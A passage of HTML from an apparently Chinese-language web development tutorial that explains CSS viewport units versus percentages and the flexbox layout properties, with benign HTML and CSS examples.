href=\"#vw-vh-vs-&#x767E;&#x5206;&#x6BD4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><code>vw</code>, <code>vh</code> vs &#x767E;&#x5206;&#x6BD4;</h4>\n<p>&#x73B0;&#x5728;&#x6211;&#x4EEC;&#x77E5;&#x9053;&#x4E86;&#xFF0C;1vw = 1% &#x89C6;&#x53E3;&#x5BBD;&#x5EA6;&#xFF0C;&#x90A3;&#x4E48;&#x5B83;&#x4EEC;&#x662F;&#x4E0D;&#x662F;&#x7B49;&#x4EF7;&#x5462;&#xFF1F;&#x6211;&#x4EEC;&#x5148;&#x6765;&#x770B;&#x4E00;&#x4E0B;&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#xFF0C;&#x540C;&#x6837;&#x8FD8;&#x662F;&#x4EE5; iPhone X &#x4E3A;&#x4F8B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>viewport<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>width=device-width, initial-scale=1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n  <span class=\"token selector\">.p1</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 50vw<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1vw = 1 / 100 * 375px = 3.75px */</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">.outer</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 80vw<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">.p2</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 50%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  </span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>p1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>50vw = 187.5px<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>p</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>section</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>outer<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>p2<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>50% = 150px<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>p</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>section</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5C06;&#x4E0A;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x8FD0;&#x884C;&#xFF0C;&#x53D1;&#x73B0;&#x7B2C;&#x4E8C;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x7684;&#x5B9E;&#x9645;&#x5BBD;&#x5EA6;&#x4E3A; 150px&#xFF0C;&#x4E0D;&#x662F; 187.5px&#x3002;&#x5176;&#x5B9E;&#x539F;&#x7406;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x5C31;&#x548C; EM &#x548C; REM &#x4E00;&#x6837;&#xFF0C;&#x767E;&#x5206;&#x6BD4;&#x76F8;&#x5BF9;&#x4E8E;&#x7236;&#x5143;&#x7D20;&#x7684;&#x5BBD;&#x5EA6;&#x6765;&#x8BA1;&#x7B97;&#xFF0C;&#x800C; <code>vw</code> &#x6839;&#x636E;&#x89C6;&#x53E3;&#x7684;&#x5BBD;&#x5EA6;&#x6765;&#x8BA1;&#x7B97;&#x3002;</p>\n<p>&#x6240;&#x4EE5;&#x518D;&#x56DE;&#x987E;&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x4E2D;&#x7684;&#x7B2C;&#x4E8C;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#xFF0C;<code>.outer</code> &#x5143;&#x7D20;&#x7684;&#x5BBD;&#x5EA6;&#x4E3A; 80vw = 300px&#xFF0C;&#x90A3;&#x4E48;&#x5176;&#x5B50; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x7684;&#x5BBD;&#x5EA6;&#x4E3A; 300px * 50% = 150px&#x3002;</p>\n<p>&#x9664; vw &#x548C; vh &#x5916;&#xFF0C;&#x8FD8;&#x6709; vmin &#x548C; vmax &#x5143;&#x7D20;&#xFF0C;&#x8FD9;&#x91CC;&#x5C31;&#x4E0D;&#x7EE7;&#x7EED;&#x5C55;&#x5F00;&#xFF0C;&#x611F;&#x5174;&#x8DA3;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x8BBF;&#x95EE; &#x300A;<a href=\"https://css-tricks.com/fun-viewport-units/\" target=\"_blank\">Fun with Viewport Units</a>&#x300B;&#x4E86;&#x89E3;&#x66F4;&#x591A;&#xFF0C;&#x8FD9;&#x7BC7;&#x6587;&#x7AE0;&#x4E2D;&#x5BF9; vw &#x548C; vh &#x8BB2;&#x7684;&#x5F88;&#x8BE6;&#x7EC6;&#xFF0C;&#x8FD8;&#x6709;&#x4E0D;&#x5C11;&#x793A;&#x4F8B;&#x3002;</p>\n<p>Web &#x5F00;&#x53D1;&#x4E2D;&#x8FD8;&#x6709;&#x5F88;&#x591A;&#x5176;&#x4ED6;&#x7684;&#x5355;&#x4F4D;&#xFF0C;&#x5982; in&#xFF08;&#x82F1;&#x5C3A;&#xFF09;&#xFF0C;mm&#xFF08;&#x6BEB;&#x7C73;&#xFF09;&#xFF0C;cm&#xFF08;&#x5398;&#x7C73;&#xFF09;&#x7B49;&#xFF0C;&#x4F46;&#x56E0;&#x4E3A;&#x4F7F;&#x7528;&#x7684;&#x4E0D;&#x591A;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x4EC5;&#x4F5C;&#x4E86;&#x89E3;&#x5C31;&#x53EF;&#x4EE5;&#x3002;</p>\n<h3 id=\"&#x5F39;&#x6027;&#x6846;\"><a name=\"&#x5F39;&#x6027;&#x6846;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5F39;&#x6027;&#x6846;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5F39;&#x6027;&#x6846;\" class=\"plugin-anchor\" href=\"#&#x5F39;&#x6027;&#x6846;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5F39;&#x6027;&#x6846;</h3>\n<p>&#x4E0A;&#x9762;&#x6211;&#x4EEC;&#x8BB2;&#x5230;&#x4E86;&#x767E;&#x5206;&#x6BD4;&#x548C; vw/vh&#xFF0C;&#x5B83;&#x4EEC;&#x90FD;&#x53EF;&#x4EE5;&#x7528;&#x6765;&#x5B9E;&#x73B0;&#x54CD;&#x5E94;&#x5F0F;&#x7684;&#x5E03;&#x5C40;&#xFF0C;&#x4F46;&#x662F;&#x4E0D;&#x5982;&#x6211;&#x4EEC;&#x63A5;&#x4E0B;&#x6765;&#x8981;&#x8BB2;&#x7684;&#x5F39;&#x6027;&#x6846;&#x7075;&#x6D3B;&#xFF0C;&#x5B83;&#x4E0D;&#x662F;&#x5355;&#x4F4D;&#xFF0C;&#x800C;&#x662F;&#x4E00;&#x79CD;&#x5E03;&#x5C40;&#x65B9;&#x5F0F;&#x3002;</p>\n<p>&#x533A;&#x522B;&#x4E8E;&#x4F20;&#x7EDF;&#x7684;&#x5E03;&#x5C40;&#x65B9;&#x5F0F;&#xFF0C;&#x5982;&#x6807;&#x51C6;&#x6587;&#x6863;&#x6D41;&#x3001;&#x6D6E;&#x52A8;&#x5E03;&#x5C40;&#x548C;&#x5B9A;&#x4F4D;&#x5E03;&#x5C40;&#xFF0C;&#x5F39;&#x6027;&#x6846;&#xFF08;flexbox&#xFF09;&#x5E03;&#x5C40;&#x66F4;&#x52A0;&#x7075;&#x6D3B;&#xFF0C;&#x5F39;&#x6027;&#x6846;&#x4E2D;&#x7684;&#x5143;&#x7D20;&#x53EF;&#x4EE5;&#x5F39;&#x6027;&#x4F38;&#x7F29;&#xFF0C;&#x53EF;&#x4EE5;&#x5B9A;&#x4E49;&#x6392;&#x7248;&#x65B9;&#x5411;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x6307;&#x5B9A; flex &#x5143;&#x7D20;&#x7684;&#x987A;&#x5E8F;&#x3002;&#x4E0B;&#x9762;&#x662F;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n<span class=\"token selector\">.container</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">display</span><span class=\"token punctuation\">:</span> flex<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* &#x8BBE;&#x7F6E;&#x5BB9;&#x5668;&#x4E3A;&#x5F39;&#x6027;&#x5E03;&#x5C40; */</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.box</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 100px<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">height</span><span class=\"token punctuation\">:</span> 30vh<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.b1</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #009<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.b2</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #06c<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.b3</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #39f<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.b4</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #6cf<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 50px<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>container<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b2<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b3<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b4<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x7684;&#x8868;&#x73B0;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x6211;&#x4EEC;&#x80FD;&#x770B;&#x5230;&#xFF0C;&#x6BCF;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5143;&#x7D20;&#x90FD;&#x662F;&#x6A2A;&#x6392;&#xFF0C;&#x8FD9;&#x662F;&#x56E0;&#x4E3A;&#x5F39;&#x6027;&#x5E03;&#x5C40;&#x9ED8;&#x8BA4;&#x6392;&#x5217;&#x4E3A;&#x6A2A;&#x5411;&#x6392;&#x5217;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>flex-direction</code> &#x5C5E;&#x6027;&#x51B3;&#x5B9A;&#x6392;&#x5217;&#x65B9;&#x5411;&#xFF0C;&#x540C;&#x65F6;&#x5728;&#x5C0F;&#x4E8E; 350px &#x5BBD;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x91CC;&#xFF0C;&#x4F1A;&#x6309;&#x6BD4;&#x4F8B;&#x81EA;&#x52A8;&#x7F29;&#x5C0F;&#x6BCF;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7684;&#x5BBD;&#x5EA6;&#x3002;</p>\n<p><img src=\"img/flexbox_display.png\" alt=\"&#x5F39;&#x6027;&#x6846;&#x5728;&#x4E0D;&#x540C;&#x5BBD;&#x5EA6;&#x6D4F;&#x89C8;&#x5668;&#x4E0B;&#x7684;&#x8868;&#x73B0;\"></p>\n<p>&#x4ECE;&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;\b&#x80FD;&#x53D1;&#x73B0;&#xFF0C;&#x6709;&#x4E24;&#x4E2A;&#x91CD;&#x8981;&#x7684;&#x89D2;&#x8272;&#x9700;&#x8981;&#x5F00;&#x53D1;&#x8005;&#x5173;&#x6CE8;&#xFF0C;&#x4E00;&#x4E2A;&#x662F;&#x5BB9;&#x5668;&#xFF0C;&#x4E00;&#x4E2A;&#x662F;&#x5176;&#x5B50;&#x5143;&#x7D20;&#x3002;</p>\n<h4 id=\"&#x5BB9;&#x5668;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\"><a name=\"&#x5BB9;&#x5668;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5BB9;&#x5668;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5BB9;&#x5668;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\" class=\"plugin-anchor\" href=\"#&#x5BB9;&#x5668;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5BB9;&#x5668;&#x6837;&#x5F0F;&#x5C5E;&#x6027;</h4>\n<p>&#x5BB9;&#x5668;&#x6307;&#x7684;&#x662F; <code>display: flex</code> &#x7684;&#x5143;&#x7D20;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x5B9A;&#x4E49;&#x5176;&#x4ED6;&#x7684;&#x5C5E;&#x6027;&#xFF0C;&#x51B3;&#x5B9A;&#x5B50;&#x5143;&#x7D20;&#x7684;&#x6392;&#x5217;&#xFF0C;&#x5982;&#x4E0B;&#x3002;</p>\n<ul>\n<li><code>flex-direction</code> - &#x5B9A;&#x4E49;&#x4E3B;&#x8F74;&#x65B9;&#x5411;&#xFF0C;&#x5373;&#x5B50;&#x5143;&#x7D20;&#x7684;&#x6392;&#x5217;&#x65B9;&#x5411;&#xFF0C;&#x53D6;&#x503C;&#x4E3A; <code>row</code>, <code>row-reverse</code>, <code>column</code> &#x548C; <code>column-reverse</code>&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; <code>row</code>&#xFF0C;&#x5373;&#x6C34;&#x5E73;&#x4ECE;&#x5DE6;&#x5230;&#x53F3;</li>\n<li><code>flex-wrap</code> - &#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x5F39;&#x6027;&#x5E03;&#x5C40;&#x4F1A;&#x5C06;&#x6240;&#x6709;&#x5143;&#x7D20;&#x90FD;&#x538B;&#x7F29;&#x5230;&#x4E00;&#x884C;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8BBE;&#x7F6E; <code>flex-wrap</code> &#x544A;&#x8BC9;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x9002;&#x5F53;&#x65F6;&#x5019;&#x6362;&#x884C;&#xFF0C;&#x53D6;&#x503C;&#x4E3A; <code>nowrap</code>, <code>wrap</code> &#x548C; <code>wrap-reverse</code>&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; <code>nowrap</code></li>\n<li><code>flex-flow</code> - &#x8FD9;&#x4E2A;&#x5C5E;&#x6027;&#x503C;&#x662F; <code>flex-direction</code> &#x548C; <code>flex-wrap</code> &#x7684;&#x7B80;&#x5199;&#xFF0C;&#x5982; <code>flex-flow: row nowrap</code>&#xFF0C;&#x7B49;&#x4EF7;&#x4E8E; <code>flex-direction: row; flex-wrap: nowrap</code></li>\n<li><code>justify-content</code> - &#x5B9A;&#x4E49;&#x5B50;&#x5143;&#x7D20;&#x5728;&#x4E3B;&#x8F74;&#x4E0A;&#x5BF9;&#x9F50;&#x65B9;&#x5F0F;&#xFF0C;&#x53D6;&#x503C;&#x4E3A; <code>flex-start</code>, <code>flex-end</code>, <code>center</code>, <code>space-between</code>, <code>space-around</code>&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; <code>flex-start</code></li>\n<li><code>align-items</code> - &#x5B9A;&#x4E49;&#x5B50;&#x5143;&#x7D20;&#x5728;&#x5782;&#x76F4;&#x4E8E;&#x4E3B;&#x8F74;&#x7684;&#x4EA4;&#x53C9;&#x8F74;&#x7684;&#x6392;&#x5217;&#x65B9;&#x5F0F;&#xFF0C;&#x53D6;&#x503C;&#x4E3A; <code>stretch</code>, <code>flex-start</code>, <code>flex-end</code>, <code>center</code>, <code>baseline</code>&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; <code>stretch</code>&#xFF0C;&#x5373;&#x5982;&#x679C;&#x6CA1;&#x8BBE;&#x7F6E;&#x9AD8;&#x5EA6;&#xFF0C;&#x5C06;&#x586B;&#x6EE1;&#x4EA4;&#x53C9;&#x8F74;&#x65B9;&#x5411;</li>\n<li><code>align-content</code> - &#x5B9A;&#x4E49;&#x4E86;\b&#x5B50;&#x5143;&#x7D20;&#x5728;&#x591A;&#x6761;&#x8F74;&#x7EBF;&#x4E0A;&#x7684;&#x5BF9;&#x9F50;&#x65B9;&#x5F0F;&#xFF0C;&#x5982;&#x679C;&#x53EA;&#x4F7F;&#x7528;&#x4E86;&#x4E00;&#x6761;&#x8F74;&#x7EBF;&#xFF0C;&#x90A3;&#x8BE5;&#x5C5E;&#x6027;&#x4E0D;&#x8D77;&#x4F5C;&#x7528;&#xFF0C;&#x53D6;&#x503C;&#x4E3A; <code>flex-start</code>, <code>flex-end</code>, <code>center</code>, <code>space-between</code>, <code>space-between</code>, <code>space-around</code> &#x548C; <code>stretch</code>&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; <code>stretch</code></li>\n</ul>\n<p>&#x5728;&#x5F39;&#x6027;&#x5E03;&#x5C40;&#x4E4B;&#x524D;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x5982;&#x679C;&#x8981;&#x5B9E;&#x73B0;&#x5B50;&#x5143;&#x7D20;&#x6C34;&#x5E73;&#x548C;&#x5782;&#x76F4;&#x5C45;&#x4E2D;&#x4F1A;&#x6BD4;&#x8F83;&#x9EBB;&#x70E6;&#xFF0C;&#x5728;&#x5F39;&#x6027;&#x5E03;&#x5C40;&#x4E2D;&#xFF0C;&#x975E;&#x5E38;&#x5BB9;&#x6613;&#x5B9E;&#x73B0;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5728;&#x5BB9;&#x5668;&#x4E0A;&#x8BBE;&#x7F6E;&#x8F74;&#x7EBF;&#x5BF9;&#x9F50;&#x65B9;&#x5F0F;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token selector\">.container</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">display</span><span class=\"token punctuation\">:</span> flex<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* &#x8BBE;&#x7F6E;&#x5BB9;&#x5668;&#x4E3A;&#x5F39;&#x6027;&#x5E03;&#x5C40; */</span>\n  <span class=\"token property\">justify-content</span><span class=\"token punctuation\">:</span> center<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* &#x8BBE;&#x7F6E;&#x5728;&#x4E3B;&#x8F74;&#x4E0A;&#x5C45;&#x4E2D;&#x5BF9;&#x9F50; */</span>\n  <span class=\"token property\">align-items</span><span class=\"token punctuation\">:</span> center<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* &#x8BBE;&#x7F6E;&#x5728;&#x4EA4;&#x53C9;&#x8F74;&#x4E0A;&#x5C45;&#x4E2D;&#x5BF9;&#x9F50; */</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h4 id=\"&#x5B50;&#x5143;&#x7D20;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\"><a name=\"&#x5B50;&#x5143;&#x7D20;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5B50;&#x5143;&#x7D20;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5B50;&#x5143;&#x7D20;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\" class=\"plugin-anchor\" href=\"#&#x5B50;&#x5143;&#x7D20;&#x6837;&#x5F0F;&#x5C5E;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5B50;&#x5143;&#x7D20;&#x6837;&#x5F0F;&#x5C5E;&#x6027;</h4>\n<p>&#x540C;&#x6837;&#xFF0C;&#x5B50;&#x5143;&#x7D20;&#x4E5F;&#x6709;\b&#x5F88;&#x591A;&#x65B0;&#x589E;&#x7684;&#x6837;&#x5F0F;&#x5C5E;&#x6027;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li><code>order</code> - &#x8BBE;&#x7F6E;&#x5B50;&#x5143;&#x7D20;&#x5728;&#x4E3B;&#x8F74;&#x65B9;&#x5411;&#x4E0A;&#x7684;&#x987A;&#x5E8F;&#xFF0C;&#x53D6;&#x503C;&#x4E3A;&#x6570;&#x5B57;&#xFF0C;&#x4ECE;&#x5C0F;&#x5230;&#x5927;&#x6392;&#x5217;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; 0</li>\n<li><code>flex-grow</code> - &#x5B9A;&#x4E49;&#x5B50;&#x5143;&#x7D20;&#x7684;&#x653E;&#x5927;&#x6BD4;&#x4F8B;&#xFF0C;&#x53D6;&#x503C;&#x4E3A;&#x6570;&#x5B57;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; 0</li>\n<li><code>flex-shrink</code> - &#x5B9A;&#x4E49;&#x5B50;&#x5143;&#x7D20;&#x7684;&#x7F29;&#x5C0F;&#x6BD4;&#x4F8B;&#xFF0C;&#x53D6;&#x503C;&#x4E3A;&#x6570;&#x5B57;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; 1</li>\n<li><code>flex-basis</code> - &#x5B9A;&#x4E49;&#x5728;&#x5206;&#x914D;\b\b&#x591A;&#x4F59;&#x7A7A;&#x95F4;&#x4E4B;&#x524D;&#xFF0C;&#x5B50;&#x5143;&#x7D20;&#x7684;&#x9ED8;&#x8BA4;&#x5927;&#x5C0F;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; <code>auto</code></li>\n<li><code>flex</code> - &#x662F; <code>flex-grow</code>, <code>flex-shrink</code> &#x548C; <code>flex-basis</code> &#x7684;&#x7B80;&#x5199;&#xFF0C;&#x9ED8;&#x8BA4;&#x503C;&#x4E3A; <code>0 1 auto</code></li>\n<li><code>align-self</code> - &#x8986;&#x76D6;&#x7236;&#x5143;&#x7D20;&#x7684; <code>align-items</code> &#x5C5E;&#x6027;&#xFF0C;&#x53EF;&#x4EE5;&#x8BA9;&#x5B50;&#x5143;&#x7D20;&#x81EA;&#x8EAB;&#x91C7;&#x7528;&#x4E0D;&#x540C;&#x7684;&#x5BF9;&#x9F50;&#x65B9;&#x5F0F;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; <code>auto</code>&#xFF0C;&#x7EE7;&#x627F;&#x7236;&#x5143;&#x7D20;&#x7684; <code>align-items</code></li>\n</ul>\n<p>&#x5F39;&#x6027;&#x5E03;&#x5C40;&#x975E;&#x5E38;&#x7075;&#x6D3B;&#xFF0C;&#x5C5E;&#x6027;&#x503C;&#x4E5F;&#x8DB3;&#x591F;&#x5E94;&#x5BF9;&#x5927;&#x90E8;&#x5206;&#x590D;&#x6742;&#x7684;&#x573A;&#x666F;&#x3002;&#x53EF;&#x4EE5;&#x9605;&#x8BFB;&#x8FD9;&#x7BC7;&#x6587;&#x7AE0;&#x67E5;&#x770B;&#x8BE6;&#x7EC6;&#x7684;&#x4ECB;&#x7ECD;&#x300A;<a href=\"https://css-tricks.com/snippets/css/a-guide-to-flexbox/\" target=\"_blank\">A Complete Guide to 